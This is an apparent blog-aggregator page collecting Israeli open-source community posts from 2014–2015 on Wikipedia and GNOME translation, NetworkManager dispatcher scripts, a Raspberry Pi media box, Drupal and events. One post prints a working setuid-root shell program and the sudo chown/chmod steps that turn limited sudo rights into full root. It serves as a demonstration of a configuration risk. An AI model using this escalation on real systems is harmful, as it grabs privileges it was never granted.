    Example of what we do today

    What we are selling today is a a construction planning collaboration platform and a comparison tool for constructors. At the bottom you can see how complex an architectural plan is, and how easy it is to spot the changes marked in purple detected by our software, normally this would have been done on hard paper by the constructor.

    Architectural plan with the changes marked between two versions

    Architectural plan with the changes marked in purple between two versions


    Full text

    20 September, 2015 09:23 AM

    10 September, 2015

    Yoav Farhi

    אסור לאפשר צנזורה של מחאה לגיטימית – באים לבנקאים

    ״באים לבנקאים״ הוא פרוייקט מחאה אזרחית לא אלימה נגד ראשי מערכת הבנקאות המושחתת והמסואבת בישראל.

    מסתבר שהבנקים הצליחו להוציא צו המורה לגוגל להסיר את האתר bankaim.org מתוצאות החיפוש שלהם, ויותר מזה – על הצו הוטל איסור פרסום. אז האתר עלה שוב, בכתובת ganavim.com. אם פספסתם, באים לבנקאים – מחאה נגד הבנקים.


    10 September, 2015 07:58 AM

    30 August, 2015

    Yosef Or Boczko

    מצב תרגום GNOME – לקראת 3.18

    צהריים טובים.

    זכיתי ביום גימלים לכבוד דלקת ריאות, על כן ניצלתי את הזמן לתרגום GNOME. בגדול הספקתי לתרגם הכל, מלבד את gitg.

    אחוז התרגום עומד על 82% (37120 מחרוזות מתורגמות, 3326 מעורפלות ו־4675 שאינן מתורגמות), בהשוואה ל־82% (35965 מחרוזות מתורגמות, 3087 מעורפלות ו־4453 שאינן מתורגמות) ב־3.16 ו־84% (36629 מחרוזות מתורגמות, 2698 מעורפלות ו־3966 שאינן מתורגמות) ב־3.14.

    ניכר שיש עלייה מתמדת במספר המחרוזות המתורגמות, אם כי גם במספר המחרוזות המעורפלות והלא־מתורגמות. אוכל לייחס זאת ליישומים אותם אני לא מתרגם (יישומים ישנים או יישומי פיתוח, שמסיבות אלו ואחרות לא הוצאו מרשימת התרגום הבסיסית).

    ניתן לקרוא טיוטת הערות השחרור ל־3.18. אין לי זמן לסקור השינויים בעצמי…

    אני מקווה שאצליח להתמיד ולתרגם את GNOME לאורך השירות שלי.

    שיר נוסף מאריאל הורוביץ, ותודה לו על כך.

    יוסף אור

     

    30 August, 2015 01:01 PM

    27 August, 2015

    Amir Aharoni

    Amir Aharoni’s Quasi-Pro Tips for Translating the Software That Powers Wikipedia

    As you probably already knew, Wikipedia is a website. A website has content—the articles, and user interface—the menus around the articles and the various screens that let editors edit the articles and communicate to each other.

    Another thing that you probably already knew is that Wikipedia is massively multilingual, so both the content and the user interface must be translated.

    Translation of articles is a topic for another post. This post is about getting all of the user interface translated to your language, as quickly and efficiently as possible.

    The most important piece of software that powers Wikipedia and its sister projects is called MediaWiki. As of today, there are 3,335 messages to translate in MediaWiki. “Messages” in the MediaWiki jargon are strings that are shown in the user interface, and that can be translated. In addition to core MediaWiki, Wikipedia also has dozens of MediaWiki extensions installed, some of them very important—extensions for displaying citations and mathematical formulas, uploading files, receiving notifications, mobile browsing, different editing environments, etc. There are around 3,500 messages to translate in the main extensions, and over 10,000 messages to translate if you want to have all the extensions translated. There are also the Wikipedia mobile apps and additional tools for making automated edits (bots) and monitoring vandalism, with several hundreds of messages each.

    Translating all of it probably sounds like an enormous job, and yes, it takes time, but it’s doable.

    In February 2011 or so—sorry, I don’t remember the exact date—I completed the translation into Hebrew of all of the messages that are needed for Wikipedia and projects related to it. All. The total, complete, no-excuses, premium Wikipedia experience, in Hebrew. Every single part of the MediaWiki software, extensions and additional tools was translated to Hebrew, and if you were a Hebrew speaker, you didn’t need to know a single English word to use it.

    I wasn’t the only one who did this of course. There were plenty of other people who did this before I joined the effort, and plenty of others who helped along the way: Rotem Dan, Ofra Hod, Yaron Shahrabani, Rotem Liss, Or Shapiro, Shani Evenshtein, Inkbug (whose real name I don’t know), and many others. But back then in 2011 it was I who made a conscious effort to get to 100%. It took me quite a few weeks, but I made it.

    Of course, the software that powers Wikipedia changes every single day. So the day after the translations statistics got to 100%, they went down to 99%, because new messages to translate were added. But there were just a few of them, and it took me a few minutes to translate them and get back to 100%.

    I’ve been doing this almost every day since then, keeping Hebrew at 100%. Sometimes it slips because I am traveling or ill. It slipped for quite a few months because in late 2014 I became a father, and a lot of new messages happened to be added at the same time, but Hebrew is back at 100% now. And I keep doing this.

    With the sincere hope that this will be useful for translating the software behind Wikipedia to your language, let me tell you how.

    Preparation

    First, let’s do some work to set you up.

    Priorities, part 1

    The translatewiki.net website hosts many projects to translate beyond stuff related to Wikipedia. Among other things it hosts such respectable Free Software projects as OpenStreetMap, Etherpad, MathJax, Blockly, and others. Also, not all the MediaWiki extensions are used on Wikimedia projects; there are plenty of extensions, with many thousands of translatable messages, that are not used by Wikimedia, but only on other sites, but they use translatewiki.net as the platform for translation of their user interface.

    It would be nice to translate all of them, but because I don’t have time for that, I have to prioritize.

    On my translatewiki.net user page I have a list of direct links to the translation interface of the projects that are the most important:

    I usually don’t work on translating other projects unless all of the above projects are 100% translated to Hebrew. I occasionally make an exception for OpenStreetMap or Etherpad, but only if there’s little to translate there and the untranslated MediaWiki-related projects are not very important, for example, they are unlikely to be used by anybody except a few software developers, but I translate those, too.

    Priorities, part 2

    So how can you know what is important among more than 15,000 messages from the Wikimedia universe?

    Start from MediaWiki most important messages. If your language is not at 100% in this list, it absolutely must be. This list is automatically created periodically by counting which 600 or so messages are actually shown most frequently to Wikipedia users. This list includes messages from MediaWiki core and a bunch of extensions, so when you’re done with it, you’ll see that the statistics for several groups improved by themselves.

    Now, if the translation of MediaWiki core to your language is not yet at 18%, get it there. Why 18%? Because that’s the threshold for exporting your language to the source code. This is essential for making it possible to use your language in your Wikipedia (or Incubator). It will be quite easy to find short and simple messages to translate (of course, you still have to do it carefully and correctly).

    Getting Things Done, One by One

    Once you have the most important MediaWiki messages 100% and at least 18% of MediaWiki core is translated to your language, where do you go next?

    I have surprising advice.

    You need to get everything to 100% eventually. There are several ways to get there. Your mileage may vary, but I’m going to suggest the way that worked for me: Complete the piece that is the easiest to get to 100%! For me this is an easy way to strike an item off my list and feel that I accomplished something.

    But still, there are so many items at which you could start looking! So here’s my selection of components that are more user-visible and less technical, sorted not by importance, but by the number of messages to translate:

    I put MediaWiki core last intentionally. It’s a very large message group, with over 3000 messages. It’s hard to get it completed quickly, and to be honest, some of its features are not seen very frequently by users who aren’t site administrators or very advanced editors. By all means, do complete it, try to do it as early as possible, and get your friends to help you, but it’s also OK if it takes some time.

    Getting All Things Done

    OK, so if you translate all the items above, you’ll make Wikipedia in your language mostly usable for most readers and editors.

    But let’s go further.

    Let’s go further not just for the sake of seeing pure 100% in the statistics everywhere. There’s more.

    As I wrote above, the software changes every single day. So do the translatable messages. You need to get your language to 100% not just once; you need to keep doing it continuously.

    Once you make the effort of getting to 100%, it will be much easier to keep it there. This means translating some things that are used rarely (but used nevertheless; otherwise they’d be removed). This means investing a few more days or weeks into translating-translating-translating.

    But you’ll be able to congratulate yourself on the accomplishments along the way, and on the big accomplishment of getting everything to 100%.

    One strategy to accomplish this is translating extension by extension. This means, going to your translatewiki.net language statistics: here’s an example with Albanian, but choose your own. Click “expand” on MediaWiki, then again “expand” on “MediaWiki Extensions”, then on “Extensions used by Wikimedia” and finally, on “Extensions used by Wikimedia – Main”. Similarly to what I described above, find the smaller extensions first and translate them. Once you’re done with all the Main extensions, do all the extensions used by Wikimedia. (Going to all extensions, beyond Extensions used by Wikimedia, helps users of these extensions, but doesn’t help Wikipedia very much.) This strategy can work well if you have several people translating to your language, because it’s easy to divide work by topic.

    Another strategy is quietly competing with other languages. Open the statistics for Extensions Used by Wikimedia – Main. Find your language. Now translate as many messages as needed to pass the language above you in the list. Then translate as many messages as needed to pass the next language above you in the list. Repeat until you get to 100%.

    For example, here’s an excerpt from the statistics for today:

    MediaWiki translation stats exampleLet’s say that you are translating to Malay. You only need to translate eight messages to go up a notch. Then six messages more to go up another notch. And so on.

    Once you’re done, you will have translated over 3,400 messages, but it’s much easier to do it in small steps.

    Once you get to 100% in the main extensions, do the same with all the Extensions Used by Wikimeda. It’s over 10,000 messages, but the same strategies work.

    Good Stuff to Do Along the Way

    Never assume that the English message is perfect. Never. Do what you can to improve the English messages.

    Developers are people just like you are. They may know their code very well, but they may not be the most brilliant writers. And though some messages are written by professional user experience designers, some are written by the developers themselves. Developers are developers; they are not necessarily very good writers or designers, and the messages that they write in English may not be perfect. Keep in mind that many, many MediaWiki developers are not native English speakers; a lot of them are from Russia, Netherlands, India, Spain, Germany, Norway, China, France and many other countries, and English is foreign to them, and they may make mistakes.

    So report problems with the English messages to the translatewiki Support page. (Use the opportunity to help other translators who are asking questions there, if you can.)

    Another good thing is to do your best to try running the software that you are translating. If there are thousands of messages that are not translated to your language, then chances are that it’s already deployed in Wikipedia and you can try it. Actually trying to use it will help you translate it better.

    Whenever relevant, fix the documentation displayed near the translation area. Strange as it may sound, it is possible that you understand the message better than the developer who wrote it!

    Before translating a component, review the messages that were already translated. It’s useful for learning the current terminology, and you can also improve them and make them more consistent.

    After you gain some experience, create a localization guide in your language. There are very few of them, and there should be more. Here’s the localization guide for French, for example. Create your own with the title “Localisation guidelines/xyz” where “xyz” is your language code.

    As in Wikipedia, Be Bold.

    OK, So I Got to 100%, What Now?

    Well done and congratulations.

    Now check the statistics for your language every day. I can’t emphasize how important it is to do this every day.

    The way I do this is having a list of links on my translatewiki.net user page. I click them every day, and if there’s anything new to translate, I immediately translate it. Usually there is just a small number of new messages to translate; I didn’t measure, but usually it’s less than 20. Quite often you won’t have to translate from scratch, but to update the translation of a message that changed in English, which is usually even faster.

    But what if you suddenly see 200 new messages to translate? It happens occasionally. Maybe several times a year, when a major new feature is added or an existing feature is changed.

    Basically, handle it the same way you got to 100% before: step by step, part by part, day by day, week by week, notch by notch, and get back to 100%.

    But you can also try to anticipate it. Follow the discussions about new features, check out new extensions that appear before they are added to the Extensions Used by Wikimedia group, consider translating them when you have a few spare minutes. At the worst case, they will never be used by Wikimedia, but they may be used by somebody else who speaks your language, and your translations will definitely feed the translation memory database that helps you and other people translate more efficiently and easily.

    Consider also translating other useful projects: OpenStreetMap, Etherpad, Blockly, Encyclopedia of Life, etc. The same techniques apply everywhere.

    What Do I Get for Doing All This Work?

    The knowledge that thanks to you people who speak your language can use Wikipedia without having to learn English. Awesome, isn’t it?

    Oh, and enormous experience with software localization, which is a rather useful job skill these days.

    Is There Any Other Way in Which I Can Help?

    Yes!

    If you find this post useful, please translate it to other languages and publish it in your blog. No copyright restrictions, public domain (but it would be nice if you credit me). Make any adaptations you need for your language. It took me years of experience to learn all of this, and it took me about four hours to write it. Translating it will take you much less than four hours, and it will help people be more efficient translators.


    Filed under: Free Software, localization, Wikipedia

    27 August, 2015 01:05 PM

    15 August, 2015

    Rabin Yasharzadeh

    [NetworkManager] Using dispatcher.d to run scripts based on network connectivity

    This post is based on my personal need to mount/umount some network shares automatically when I’m switching between networks (e.g Homer/Office). Later on I was looking to make it more modular and came out with this solution, which can be further extended.

    NetworkManager have a nice option to execute scripts after ones connect/disconnect to a network, you can find more in the Arch wiki page including some examples.

    The problem I had with the way dispatcher.d works is that it execute all the files in the dispatcher.d folder in a linear order, and you have to code each script to handle the interface, connection state and the network you’re connecting to, so at first all my scripts looked something like this,

    #!/bin/sh
    ### ONE OF OLD SCRIPT FORMAT
    
    USER='username'
    REMOTE='user@host:/remote/path'
    LOCAL='/local/path'
    
    interface=$1 status=$2
    if [ "$CONNECTION_UUID" = "uuid" ]; then
      case $status in
        up)
          export SSH_AUTH_SOCK=$(find /tmp -maxdepth 1 -type s -user "$USER" -name 'ssh')
          su "$USER" -c "sshfs $REMOTE $LOCAL"
          ;;
        down)
          fusermount -u "$LOCAL"
          ;;
      esac
    fi

    I hated that I had to replicate the if/case template for each script I was adding, so I came with a different approach. And in my current setup I added the following file to the dispatcher.d folder

    #!/bin/bash
    
    DEVICE=${1}
    STATE=${2}
    CWD=$(dirname "$0")
    
    LOG='/var/log/NetworkManager_dispatcher.d.log'
    
    # DEBUG
    echo "$(date +"%F %T") Called with ($*) and connection uuid is: ${CONNECTION_UUID}" >> ${LOG}
    
    # Needed only if you need to display notification popups
    #export DISPLAY=:0.0
    #export $(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$(pgrep session)/environ)
    
    
    for FILE in ${CWD}/${CONNECTION_UUID}/${STATE}/*
    do
            #DEBUG
            echo "$(date +"%F %T") Running ${FILE}" >> ${LOG}
            . "${FILE}"
    done

    NetworkManager pass 2 parameters to each script it runs under the dispatcher directory,

    And so if we have connected to the home network with, The “master” script will list all the files under 

    ${CONNECTION_UUID}/up
      and will execute them one-by-one.

    And so my dispatcher folder structure look like this,

    # tree /etc/NetworkManager/dispatcher.d 
    
    /etc/NetworkManager/dispatcher.d 
    ├── 4237f1af-15bf-46f7-a3a1-9a37c0d075de/
    │   ├── down/
    │   │   └── 00-umount-freenas-media*
    │   └── up/
    │       ├── 00-mount-freenas-media*
    │       ├── 70-wifi-wired-exclusive.sh*
    │       └── 99-set-display*
    ├── fdd94fcd-c801-401c-9caa-ebb21e10bc9e/
    │   ├── down/
    │   └── up/
    │       └── 99-set-display*
    ...
    ├── Home -> 4237f1af-15bf-46f7-a3a1-9a37c0d075de/
    ├── Office -> fdd94fcd-c801-401c-9caa-ebb21e10bc9e/
    ...
    └── 88-MASTER-DISPATCHER*

    Remarks

    Links:

    15 August, 2015 08:28 PM

    09 August, 2015

    Ira Abramov

    איך לא לעצבן לנו את הנגן

    אין לי הרבה מה להגיד בפוסט הזה מלבד שנז"ק דיגיטלי הוא אכן נזק, ושנראה לי שאין לי היום מקוריות בבחירת כותרות פוסטים.

    (כן, עוברים חודשים, אני לא כותב על הביומטרי או על פיגועי טרור, או מחטפי הגז, כי מי שעוקב אחרי בטוויטר יודע שאני גם ככה מיואש ולא נותר אלא לרטווט את הכתבים המובילים ולבכות. אז אם אני פותח כבר את הוורדפרס (ששדרג השנה יותר גרסאות משאני כתבתי פוסטים) אני אעשה את זה כדי להתלונן על הדברים הקטנים שמציקים לי. צרות עולם ראשון אם תרצו.)

    באחד האמשים הזמנתי לי סטרימר קטן בקיקסטרטר. קופסת גפרורים שמתחברת בדיסקרטיות מאחורי הטלוויזיה, מבוססת פיירפוקס או-אס שהיא מעיין אדרואיד של עולם התוכנה החופשית. כשהמכשיר היה כמעט מוכן (לטענתם) הם פתאום החליטו להוסיף רכיבי תוכנת נז"ק דיגיטלי, לטעתם רק כך יוכלו המשתמשים להנות עד הסוף מאפשרויות הצפיה בנטפליקס, הולו+, אמאזון ושאר הירקות שממילא לא משדרות מחוץ לארה"ב אם לא תחמנת אותן עם VPN לכתובת IP אמריקנית ואולי גם כרטיס אשראי אמריקקי. לכבוד השדרוק, הודיעו, הם מעכבים את היציאה בכמה חודשים, מחזקים את המעבד ועוד כהנה. והנה עברו החודשים, המשתמשים שעוד לא התייאשו ובקשו החזר קיבלו הודעה מוזרה: "הסתבכנו עם הנז"ק הדיגיטלי, סוגרים את הבאסטה ומחזירים לכם את הכסף". מה קרה לתכניות המקוריות? לא ברור, אבל תאוריית הקונספירציה שכרגע נפוצה בין משתתפי הקמפיין היא שהעובדה שיש להם כסף להחזיר אומרת שקנו אותם, כנראה החברה הסינית שאיתה פיתחו את הפלטפורמה. אם יצא מוצר, הוא יהיה קנייני אני מניח. נו, לפחות הם מחזירים את הכסף, הקאקערים.

    אבל זה לא פוסט תלונה, זה פוסט עשיה, ואם רוצים להנות ממשהו ראוי, צריך לעשות את זה בעצמנו. הרשת מלאה בסטרימרים זולים ויקרים, חלקם מבוססים לינוקס, חלקם אנדרואיד וחלקם (שומו שמיים) איזה חלונות אמבדד או משהו (לפי השמועות). אך אני איני מתכופף לטכולוגיות קנייניות כמו שאתם מכירים אותי, אז הנה התוכנית:

    1. רספברי פאי 2, עם קופסת ABS קשיחה וספק כוח – סביבות $42. אם אתם רוצים ספק שגם יודע לדחוף זרמים כראוי, אני יכול להמליץ על המפלץ הזה.
    2. להתקין דביאן וקודי על כרטיס 16GB, נגיד עוד כ$5.
    3. כבל HDMI.
    4. זהו. סטרימינג מהרשת, מכוננים של USB או משרת הטורנטים שבחדר העבודה. מי צריך יותר מזה, תכלעס? אה, וזה אפילו מריץ מיינקראפט לילדה, אז בכלל…

    אופציונאליים:

    לאחר שהתקנתם את התוכנה והחומרה, כדאי להציץ במדריכים של קודי ישראל ביוטיוב, או בפורום שלהם לענייני עברית וישראל, או בכל אתר בינלאומי אחר שבא לכם. לא צריך קופסאות מאד יקרות כדי לקבל בימינו את כל היתרונות מקום אחד :-)

    אני מקווה שלא שכחתי כלום. בהצלחה!

    09 August, 2015 05:11 PM

    01 August, 2015

    Hamakor

    אוגוסט פינגווין בסוף השבוע הקרוב

    אנחנו מגיעים לישורת האחרונה, הימים האחרונים שלפני הכנס.
    כבר יש הרצאות ומציגים, וההכנות האחרונות מתבצעות.

    שתי בקשות נותרו לנו, המארגנים:

    להתראות בכנס!

     

    Share

    01 August, 2015 05:02 PM

    13 July, 2015

    Hamakor

    נפתחה ההרשמה לאוגוסט פינגווין 2015

    עמותת „המקור” שמחה להודיע על פתיחת ההרשמה לכנס אוגוסט פינגווין השנה.

    הכנס יתקיים, כפי שפורסם, ביום ששי 7.8 במכללת שנקר ברמת־גן.

    ההרשמה דרך אתר הכנס, כמובן, ואינה נדרשת עבור חברי וידידי העמותה ששילמו דמי חבר.

    להתראות בכנס!

    Share

    13 July, 2015 09:02 PM

    01 July, 2015

    Oldie

    Syncthing: סנכרון קבצים בן מחשבים מרוחקים

    היכולת לשתף בזמן אמת מספר רב של קבצים וספריות בן מחשבים וטלפונים ניידים (תוך גיבוי בענן) שדרגה את איכות חיינו ללא היכר. דרופבוקס ודומיה מציעות נוחות רבה שקשה לוותר עליה. מאידך כל הטוב הזה לא חסר מגרעות: האחסון בענן אומר … להמשיך לקרוא

    01 July, 2015 12:22 PM

    13 April, 2015

    Liran Tal

    The Drupal Rap song – Everyday I’m Drupalin’

    This YouTube video doesn’t need any further explanation beside it’s title: The Drupal Rap song – Everyday I’m Drupalin’

     

     

     

    Lyrics:

    Chorus
    Everyday I’m drupalin

    Verse
    Where them forms you gettin fapi with I’m the fapi boss/ hookin into edit form and webforms is my specialty sauce/ I’ll hook form alter by form id’s or entities/ put a list on Ajax/ just to keep it callin back/

    I got them distrobutions, I’m like acqia/
    Check my public repos, I didn’t copy nuttin/ I know dries n webchick, I kno Ryan szrama/ all the commerce guys we hipchat when they got some drama/
    Might not be pretty code but it gets me paid/ I’m using rules like php loopin through arrays/ I put it all in features, so the code is stable/ it might take longer, but next time I just click enable/ These dudes clearin caches, on every hook init/ queries by thousands, page loads by the minutes

    Verse
    No matter the language we compress it hard/ drugs cc all, we just drugs cc all/
    Where’s all of the changes, you never saw/ so drush cc all, we just drugs cc all/ I lean heavy on smacss, compass compilin my sass/ you just installed flexslider now you teachin a class/
    I seen your content types, I don’t need to kno you/ to know that we ain’t even in the same nodequeue/
    I’m on drupal answers, check my reputation/ I’m on my tablet earnin karma while I’m on vacation/ ya girl like a module, she stay hookin n/ you couldn’t code an info file, without lookin in/
    Mo scrums, equals better sprints, break the huddle, n the work begins

    Thanks to New Valley Media for helping with the video http://www.newvalleymedia.com/
    Thanks to Broadstreet Consullting http://www.broadstreetconsulting.net

    The post The Drupal Rap song – Everyday I’m Drupalin’ appeared first on Liran Tal's Enginx.

    13 April, 2015 05:26 PM

    30 January, 2015

    Dan Fruehauf

    Privilege Escalation – be slack and pay for it

    My predecessor(s) had left a bunch of people at my work place (not even developers) with sudo access to chown and chmod – for the purpose of data management. For a while I had tried to explain that having sudo access to just those two commands is effectively having full root access on the machines.

    I had to demonstrate it. So I did:

    cat <<EOF >> make-me-root.c
    #include <unistd.h>
    int main() {
        setuid(0);
        execv("/bin/bash", NULL);
        return 0;
    }
    EOF
    
    gcc -o make-me-root make-me-root.c
    sudo chown root make-me-root
    sudo chmod u+s make-me-root
    
    ./make-me-root
    

    Alright, demonstrated. Now it’s time for the raising eyebrows to follow.

    And now also comes the part where I know it’s almost impossible to revoke privileges from people after they got used to a broken workflow.


    30 January, 2015 12:43 AM

    25 December, 2014

    Shachar Shemesh

    נקסוס 4 לא עובד על פלאפון?

    לפני כמה שבועות החלפנו את מפעיל הסלולר שלנו לחברת פלאפון (כך וכך בכך שקלים ידה ידה ידה). החל מאתמול בלילה יש בעיה מוזרה. ניתן להוציא וגם לקבל שיחות, אבל לא שומעים כלום מאף אחד משני הצדדים. פשוט כלום. העברתי את הסים שלי למכשיר ישן יותר (נקסוס S), ושם הבעיה לא קיימת. לכאורה, מקרה חד וחלק […]

    The post נקסוס 4 לא עובד על פלאפון? appeared first on לינוקס ותוכנה חופשית.

    25 December, 2014 06:55 PM

    18 November, 2014

    sml

    OpenSUSE 13.2: טיפים וטריקים

    רק שלשה מבין ששה שדרוגים שערכתי עד כה, הסתיימו ללא תקלה כלשהי. הפעם אפרט מה היו התקלות וכיצד התגברתי עליהן.

    התקלה הנפוצה הייתה (ככל שהדבר ישמע מוזר) השלמה חלקית בלבד של יצירת הקרנל ו\או ה initrd החדשים. נשמע מופרך? לא בהכרח.

    הטקסט המלא

    18 November, 2014 07:27 PM

    23 October, 2014

    Yaniv Gershoni

    אשכול קישורים בנושא תלת מימד והדפסות

    אשכול הקישורים הגדול

    טוב, זה לא קשור ב-100% לבלנדר אבל זו "צומת גדולה" שאני חוזר אליה במהלך המסעות אז נראה לי שכדאי לשים לזה מקום קבוע שיאפשר גם עדכונים כשצריך.

    ובכן, למי שלא שם לב, מתפתח לו "תחום" שקשור לתלת מימד והוא: "הדפסה תלת מימדית".
    למעשה, ההדפסה בתלת מימד היתה קיימת די הרבה זמן אך העלויות היו גבוהות ורוב הציבור בעצם לא יכל להשתמש בטכנולוגיה הזו ולכן גם לא נחשף אליה כל כך.
    עם הזמן ובעיקר בזכות פרוייקט Reprap האפשרות להשתמש בטכנולוגיה של ההדפסה התלת מימדית הפך לנגיש יותר ואפשר כבר היום לקנות מדפסות לבית ולעסק ואפילו לבנות כאלו במחירים סבירים.

    בפוסט הזה לא אסביר על הטכנולוגיה וכו' (אולי בהמשך) אלא רק אשים קישורים לכל מה שקשור לנושא ועוד קצת תבלינים...
    (דוכן לתירס על הצומת נקרא לזה)
    פרטים נוספים »

    הטקסט המלא

    23 October, 2014 12:30 AM

    14 September, 2014

    Niv Lilien

    מיקרוסופט אין מובילי*

    מיקרוסופט עומדת בפני פלח מחשוב חדש, שמאיים להרוס את ההגמוניה של Windows. מחשבי לוח אמרתם? לא, אני מדבר על נטבוקים. איך ההיסטוריה הקרובה חוזרת על עצמה, ופרשנות אוחרת למהלך עליו הכריזה מיקרוסופט השבוע.

    Full text

    14 September, 2014 06:20 PM